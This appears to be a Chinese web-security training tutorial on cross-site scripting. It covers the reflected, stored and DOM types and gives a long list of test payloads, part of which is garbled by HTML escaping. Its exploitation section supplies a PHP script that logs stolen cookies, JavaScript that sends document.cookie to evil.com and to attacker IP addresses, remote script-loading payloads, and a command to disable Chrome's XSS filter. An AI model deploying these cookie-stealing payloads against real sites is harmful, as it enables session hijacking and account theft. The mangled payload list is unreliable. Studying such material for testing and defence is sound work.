1. 首页
  2. 渗透测试

[原创]WEB安全第五章 漏洞学习与利用01 xss漏洞的挖掘与利用

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

WEB安全第五章 漏洞学习与利用01 xss漏洞的挖掘与利用

1、什么是xss漏洞

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生xss攻击。

2、XSS攻击的危害包括

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

3、xss漏洞的类型

反射型

反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码

[原创]WEB安全第五章 漏洞学习与利用01 xss漏洞的挖掘与利用

http://target_sys.com/xss/xss01.php?name=<script>alert(/xss/)</script>

[原创]WEB安全第五章 漏洞学习与利用01 xss漏洞的挖掘与利用

存储型

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。

[原创]WEB安全第五章 漏洞学习与利用01 xss漏洞的挖掘与利用
[原创]WEB安全第五章 漏洞学习与利用01 xss漏洞的挖掘与利用
<SCRIPT>alert(document.cookie)</SCRIPT>

dom

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

默认火狐是不能执行这种dom xss 因为火狐会把url上面的字符串进行编码

在ie里面默认不编码 但是要关闭xss过滤器方可执行

[原创]WEB安全第五章 漏洞学习与利用01 xss漏洞的挖掘与利用
4、测试XSS
<h5>1</h5>
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)>

其他测试语句

<script>alert(‘hello,gaga!’);</script> //经典语句,哈哈!

>”‘><img src=”javascript.:alert(‘XSS’)”>

>”‘><script>alert(‘XSS’)</script>

<table background=’javascript.:alert(([code])’&gt;&amp;lt;/table&gt;&lt;br&gt; &lt;br&gt; &amp;lt;object type=text/html data=’javascript.:alert(([code]);’&gt;&amp;lt;/object&gt;&lt;br&gt; &lt;br&gt; &quot;+alert(‘XSS’)+&quot;&lt;br&gt; &lt;br&gt; ‘&gt;&amp;lt;script&gt;alert(document.cookie)&amp;lt;/script&gt;&lt;br&gt; &lt;br&gt; =’&gt;&amp;lt;script&gt;alert(document.cookie)&amp;lt;/script&gt;&lt;br&gt; &lt;br&gt; &amp;lt;script&gt;alert(document.cookie)&amp;lt;/script&gt;&lt;br&gt; &lt;br&gt; &amp;lt;script&gt;alert(vulnerable)&amp;lt;/script&gt;&lt;br&gt; &lt;br&gt; &amp;lt;s&amp;#99;ript&gt;alert(‘XSS’)&amp;lt;/script&gt;&lt;br&gt; &lt;br&gt; &amp;lt;img src=&quot;javas&amp;#99;ript:alert(‘XSS’)&quot;&gt;&lt;br&gt; &lt;br&gt; %0a%0a&amp;lt;script&gt;alert(\&quot;Vulnerable\&quot;)&amp;lt;/script&gt;.jsp&lt;br&gt; &lt;br&gt; %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e&lt;br&gt; &lt;br&gt; %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e&lt;br&gt; &lt;br&gt; %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html&lt;br&gt; &lt;br&gt; &amp;lt;script&gt;alert(‘Vulnerable’)&amp;lt;/script&gt; &lt;br&gt; &lt;br&gt; a.jsp/&amp;lt;script&gt;alert(‘Vulnerable’)&amp;lt;/script&gt;&lt;br&gt; &lt;br&gt; &quot;&gt;&amp;lt;script&gt;alert(‘Vulnerable’)&amp;lt;/script&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG SRC=&quot;javascript.:alert(‘XSS’);&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG src=&quot;/javascript.:alert&quot;(‘XSS’)&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG src=&quot;/JaVaScRiPt.:alert&quot;(‘XSS’)&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG src=&quot;/JaVaScRiPt.:alert&quot;(&amp;quot;XSS&amp;quot;)&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG SRC=&quot;jav&amp;#x09;ascript.:alert(‘XSS’);&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG SRC=&quot;jav&amp;#x0A;ascript.:alert(‘XSS’);&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG SRC=&quot;jav&amp;#x0D;ascript.:alert(‘XSS’);&quot;&gt;&lt;br&gt; &lt;br&gt; &quot;&amp;lt;IMG src=&quot;/java&quot;&#92;&#48;script.:alert(\&quot;XSS\&quot;)&gt;&quot;;’&gt;out&lt;br&gt; &lt;br&gt; &amp;lt;IMG SRC=&quot; javascript.:alert(‘XSS’);&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;SCRIPT&gt;a=/XSS/alert(a.source)&amp;lt;/SCRIPT&gt;&lt;br&gt; &lt;br&gt; &amp;lt;BODY BACKGROUND=&quot;javascript.:alert(‘XSS’)&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;BODY ONLOAD=alert(‘XSS’)&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG DYNSRC=&quot;javascript.:alert(‘XSS’)&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG LOWSRC=&quot;javascript.:alert(‘XSS’)&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;BGSOUND SRC=&quot;javascript.:alert(‘XSS’);&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;br size=&quot;&amp;amp;{alert(‘XSS’)}&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;LAYER SRC=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&amp;lt;/layer&gt;&lt;br&gt; &lt;br&gt; &amp;lt;LINK REL=&quot;stylesheet&quot;HREF=&quot;javascript.:alert(‘XSS’);&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG SRC=’vbscript.:msgbox(&quot;XSS&quot;)’&gt;&lt;br&gt; &lt;br&gt; &amp;lt;META. HTTP-EQUIV=&quot;refresh&quot;CONTENT=&quot;0;url=javascript.:alert(‘XSS’);&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IFRAME. src=&quot;/javascript.:alert&quot;(‘XSS’)&gt;&amp;lt;/IFRAME&gt;&lt;br&gt; &lt;br&gt; &amp;lt;FRAMESET&gt;&amp;lt;FRAME. src=&quot;/javascript.:alert&quot;(‘XSS’)&gt;&amp;lt;/FRAME&gt;&amp;lt;/FRAMESET&gt;&lt;br&gt; &lt;br&gt; &amp;lt;TABLE BACKGROUND=&quot;javascript.:alert(‘XSS’)&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;DIV STYLE=&quot;background-image: url(javascript.:alert(‘XSS’))&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;DIV STYLE=&quot;behaviour: url(‘http://www.how-to-hack.org/exploit.html&amp;#39;);&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;DIV STYLE=&quot;width: expression(alert(‘XSS’));&quot;&gt;&lt;br&gt; &lt;br&gt; &amp;lt;STYLE&gt;@im\port’\ja\vasc\ript:alert(&quot;XSS&quot;)’;&amp;lt;/STYLE&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG STYLE=’xss:expre\ssion(alert(&quot;XSS&quot;))’&gt;&lt;br&gt; &lt;br&gt; &amp;lt;STYLE. TYPE=&quot;text/javascript&quot;&gt;alert(‘XSS’);&amp;lt;/STYLE&gt;&lt;br&gt; &lt;br&gt; &amp;lt;STYLE. TYPE=&quot;text/css&quot;&gt;.XSS{background-image:url(&quot;javascript.:alert(‘XSS’)&quot;);}&amp;lt;/STYLE&gt;&amp;lt;A CLASS=XSS&gt;&amp;lt;/A&gt;&lt;br&gt; &lt;br&gt; &amp;lt;STYLE. type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript.:alert(‘XSS’)&quot;)}&amp;lt;/STYLE&gt;&lt;br&gt; &lt;br&gt; &amp;lt;BASE HREF=&quot;javascript.:alert(‘XSS’);//&quot;&gt;&lt;br&gt; &lt;br&gt; getURL(&quot;javascript.:alert(‘XSS’)&quot;)&lt;br&gt; &lt;br&gt; a=&quot;get&quot;;b=&quot;URL&quot;;c=&quot;javascript.:&quot;;d=&quot;alert(‘XSS’);&quot;;eval(a+b+c+d);&lt;br&gt; &lt;br&gt; &amp;lt;XML SRC=&quot;javascript.:alert(‘XSS’);&quot;&gt;&lt;br&gt; &lt;br&gt; &quot;&gt; &amp;lt;BODY NLOAD=&quot;a();&quot;&gt;&amp;lt;SCRIPT&gt;function a(){alert(‘XSS’);}&amp;lt;/SCRIPT&gt;&amp;lt;&quot;&lt;br&gt; &lt;br&gt; &amp;lt;SCRIPT. SRC=&quot;http://xss.ha.ckers.org/xss.jpg&quot;&gt;&amp;lt;/SCRIPT&gt;&lt;br&gt; &lt;br&gt; &amp;lt;IMG SRC=&quot;javascript.:alert(‘XSS’)&quot;&lt;br&gt; &lt;br&gt; &amp;lt;SCRIPT. a=&quot;&gt;&quot;SRC=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&amp;lt;/SCRIPT&gt;&lt;br&gt; &lt;br&gt; &amp;lt;SCRIPT.=&quot;&gt;&quot;SRC=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&amp;lt;/SCRIPT&gt;&lt;br&gt; &lt;br&gt; &amp;lt;SCRIPT. a=&quot;&gt;&quot;”SRC=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&amp;lt;/SCRIPT&gt;&lt;br&gt; &lt;br&gt; &amp;lt;SCRIPT.&quot;a=’&gt;’&quot;SRC=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&amp;lt;/SCRIPT&gt;&lt;br&gt; &lt;br&gt; &amp;lt;SCRIPT&gt;document.write(&quot;&amp;lt;SCRI&quot;);&amp;lt;/SCRIPT&gt;PTSRC=&quot;http://xss.ha.ckers.org/a.js&quot;&gt;&amp;lt;/SCRIPT&gt;&lt;br&gt; &lt;br&gt; &amp;lt;A HREF=http://www.gohttp://www.google.com/ogle.com/&gt;link&amp;lt;/A&gt;&lt;/p&gt; &lt;!– /wp:paragraph –&gt; &lt;!– wp:heading {&quot;level&quot;:6} –&gt; &lt;h6&gt;5、XSS利用&lt;/h6&gt; &lt;!– /wp:heading –&gt; &lt;!– wp:paragraph {&quot;fontSize&quot;:&quot;small&quot;} –&gt; &lt;p class=&quot;has-small-font-size&quot;&gt;盗取COOKIE&lt;/p&gt; &lt;!– /wp:paragraph –&gt; &lt;!– wp:paragraph {&quot;fontSize&quot;:&quot;small&quot;} –&gt; &lt;p class=&quot;has-small-font-size&quot;&gt;接收cookie代码&lt;/p&gt; &lt;!– /wp:paragraph –&gt; &lt;!– wp:paragraph {&quot;fontSize&quot;:&quot;small&quot;} –&gt; &lt;p class=&quot;has-small-font-size&quot;&gt;xss.php&lt;/p&gt; &lt;!– /wp:paragraph –&gt; &lt;!– wp:shortcode –&gt; [php]&lt;?php @ini_set(‘display_errors’,1); $str = $_GET[‘joke’]; $filePath = &quot;joke.php&quot;; $handler = fopen($filePath, &quot;a&quot;); fwrite($handler, $str); fclose($handler); ?&gt; [/php] &lt;!– /wp:shortcode –&gt; &lt;!– wp:paragraph {&quot;fontSize&quot;:&quot;small&quot;} –&gt; &lt;p class=&quot;has-small-font-size&quot;&gt;xss.js&lt;/p&gt; &lt;!– /wp:paragraph –&gt; &lt;!– wp:shortcode –&gt; [code lang=&quot;js&quot;]var img = document.createElement(‘img’); img.width = 0; img.height = 0; img.src = ‘http://ip /xss.php?joke=’+encodeURIComponent(document.cookie);[/code]

xss.js

[code lang=”js”]
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
[/code]

7、加载payload

<script src=”http://192.168.0.121/xss.js”></script>

<script src=”//192.168.0.121/xss.js “></script>

<img onerror=document.body.appendChild(document.createElement(‘script’)).src=’//192.168.0.121/xss.js’>

<script>var img=document.createElement(“img”);img.src=”http://10.10.10.151:1234/a?”+escape(document.cookie);</script>

[原创]WEB安全第五章 漏洞学习与利用01 xss漏洞的挖掘与利用
8、关闭浏览器XSS机制

chrome的关闭方法:

我的chrome安装目录在C:\Program Files (x86)\Google\Chrome\Application\chrome.exe,关闭方法是在命令行输入以下命令:

“C:\Program Files (x86)\Google\Chrome\Application\chrome.exe” –args –disable-xss-auditor

ie和firefox的关闭方法在如下链接:

http://www.phillips321.co.uk/2012/03/01/xss-browser-filters-disabling-it-for-app-testing/

[原创]WEB安全第五章 漏洞学习与利用01 xss漏洞的挖掘与利用

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/202.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息